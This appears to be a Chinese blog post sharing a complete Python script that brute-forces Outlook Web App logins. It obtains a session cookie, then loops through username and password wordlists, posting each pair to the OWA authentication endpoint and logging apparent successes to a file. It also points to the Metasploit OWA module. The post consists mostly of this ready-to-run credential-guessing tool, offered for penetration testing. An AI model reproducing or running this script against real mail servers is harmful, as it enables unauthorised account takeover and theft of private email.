其实msf里面存在这样的模块,search owa 即可,字典这种东西还是找规律密码去破解比较好

然后担心遇到渗透测试没有msf情况下,还是得自己写个脚本,网上找了一下lijiejie,但是运行不了,于是我就改了一下。单线程版本,outlook2010版本,我是判断headers中是都存在owa版本,lijiejie脚本那样判断这里行不通,有空再写个

多线程版本吧

  1. # coding:utf-8
  2. import threading
  3. import requests
  4. import argparse
  5. import sys
  6.  
  7. '''
  8. 需要第一次访问获取session,加到data内容里面
  9. '''
  10. # parser = argparse.ArgumentParser(description='Microsoft OutLook WebAPP Brute Forcer.')
  11. # parser.add_argument('domain', type=str, help='website domain name, e.g.
  12. # email.baidu.com')
  13.  
  14. # args = parser.parse_args()
  15.  
  16. def open_file(path):
  17. wordlist = []
  18. with open(path, 'r') as f:
  19. while True:
  20. word = f.readline().strip()
  21. if len(word) == 0:
  22. break
  23. wordlist.append(word)
  24. return wordlist
  25. users = open_file('user.txt')
  26. passwords = open_file('pass.txt')
  27.  
  28. def get_session(domain):
  29.  
  30. url = 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f{urls}%2fowa%2f'.format(
  31. url=domain, urls=domain)
  32. response = requests.get(url, verify=False, timeout=5)
  33. res = dict(response.headers)
  34.  
  35. session = res['Set-Cookie'].split(';')[0]
  36. return session
  37.  
  38. def brute_outlook(domain):
  39. headers = {
  40. 'Host': domain,
  41. 'Connection': 'Keep-Alive',
  42. 'Cache-Control': 'no-cache',
  43. 'Origin': 'https://{}'.format(domain),
  44. 'Upgrade-Insecure-Requests': '1',
  45. 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
  46. 'Content-Type': 'application/x-www-form-urlencoded',
  47. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  48. 'Referer': 'https://{url}/owa/auth/logon.aspx?replaceCurrent=1&url=https://{urls}/owa/'.format(url=domain, urls=domain),
  49. 'Accept-Encoding': 'gzip, deflate, br',
  50. 'Accept-Language': 'en-US,en;q=0.8,ru;q=0.6',
  51. 'Cookie': ''
  52. }
  53. for user in users:
  54. for pwd in passwords:
  55. while True:
  56. try:
  57. session = get_session(domain)
  58. break
  59. except:
  60. print('error happened !!!#1')
  61. headers2 = headers
  62. headers2['Cookie'] = 'OutlookSession={}; PBack=0'.format(session)
  63. data = {'destination': 'https://{}/owa/'.format(domain),
  64. 'flags': '0',
  65. 'forcedownlevel': '0',
  66. 'trusted': '0',
  67. 'username': user,
  68. 'password': pwd,
  69. 'isUtf8': '1'
  70.  
  71. }
  72. while True:
  73. try:
  74.  
  75. target = 'https://' + domain + '/owa/auth.owa'
  76. response = requests.post(
  77. target, data=data, headers=headers2, verify=False, timeout=7)
  78. if dict(response.headers)['X-OWA-Version']:
  79. print('crack success'+'-----'+ user+':'+pwd)
  80. with open('crack_email.txt','a') as f:
  81. f.write(user+'--------'+ pwd+ '\n')
  82. break
  83. except:
  84. print('error opened #2')
  85. if __name__ == '__main__':
  86. if len(sys.argv) <2:
  87. print('python brute.py url')
  88. exit(0)
  89. domain = sys.argv[1]
  90. brute_outlook(domain)

  

  

owa_outlook暴力破解脚本的更多相关文章

  1. linux计划任务防暴力破解脚本+免密操作

    1.在root创建satools目录 mkdir satools 2.编辑防破解脚本 vi fpj.sh #!/bin/bash #zsl -xie cat /var/log/secure|awk ' ...

  2. SSH防暴力破解脚本

    crontab -e 编辑添加一下内容 1 1 * * * sh /root/bin/Denyhosts.sh 脚本内容 #!/bin/bash #Denyhosts SHELL SCRIPT #20 ...

  3. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  4. Linux CentOS 防止SSH暴力破解

    一. 问题的发现 昨晚苦逼加班完后,今早上班继续干活时,SSH连接服务器发现异常的提示,仔细看了一下吓一小跳,昨晚9点钟到现在,一夜之间被人尝试连接200+,慌~~~ 1. 速度查一下log [roo ...

  5. htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

    李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...

  6. Python脚本暴力破解FTP口令(ftplib)

    目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...

  7. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  8. shell脚本,防止sshd被暴力破解

    1.tail -f /var/log/secure 你会发现有很多的登录 错误.这说明你的机器正在被暴力破解. 2.新建 一个 shell脚 本 保存退出. 3.加入定时crontab -e 我这里每 ...

  9. 编写DVWA暴力破解High级别的Python脚本

    1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证. 2. ...

随机推荐

  1. CRM2011 concurrency问题及解决方案

    CRM2011对删除和添加操作会自动做判断,比如A打开纪录x,B也打开纪录x,然后B删除了纪录x,A去更新的话就会有提示.更新的话是后者覆盖前者,比如A打开纪录x,B打开纪录x,然后B把记录x中的字段 ...

  2. linux之stat函数解析

    [lingyun@localhost stat_1]$ vim stat.c  + stat.c                                                     ...

  3. Ubuntu开启NFS,挂载根目录

    1.安装NFS server Ubuntu初始状态是没有NFS server的,首先要安装NFS server: $ sudo apt-get install nfs-kernel-server (安 ...

  4. Routing(路由) & Multiple Views(多个视图) step 7

    Routing(路由) & Multiple Views(多个视图) step 7 1.切换分支到step7,并启动项目 git checkout step-7 npm start 2.需求: ...

  5. Codekart 框架

    [Node.js框架] 为什么要开发 Codekart 框架 两年前,在被php的$符号和字符串处理折磨得半夜骂娘之后,我义无反顾地决定:珍爱生命,远离php. 之后一直在寻找一门“完美的语言”,先后 ...

  6. Django解决 'ascii' codec can't encode characters in position

    问题: 文件上传可以上传英文,无法上传中文的. 解决方法:对Apache进行配置 在/etc/apache2/envvars文件加上: export LANG='en_US.UTF-8'export ...

  7. MVC 5 - 将数据从控制器传递给视图

    MVC 5 - 将数据从控制器传递给视图 在我们讨论数据库和数据模型之前,让我们先讨论一下如何将数据从控制器传递给视图.控制器类将响应请求来的URL.控制器类是给您写代码来处理传入请求的地方,并从数据 ...

  8. MVC应用程序请求密码的功能(二)

    MVC应用程序请求密码的功能(二) 在完成<MVC应用程序请求密码的功能(一)>http://www.cnblogs.com/insus/p/3471534.html之后,如果你照着做,所 ...

  9. 最短路模板[spfa][dijkstra+堆优化][floyd]

    借bzoj1624练了一下模板(虽然正解只是floyd) spfa: #include <cstdio> #include <cstring> #include <alg ...

  10. discuz X3.1的门户文章实现伪静态,利于搜索引擎收录url的地址修改

    最近在捣鼓DZ框架,这两天发现文章的收录情况并不是太理想,做了很多优化方面的工作,今天主要解决了DZ门户的文章链接伪静态化,在这次修改之前,也做过一次在网上找的静态化修改,之前做的方式是: 1.在DZ ...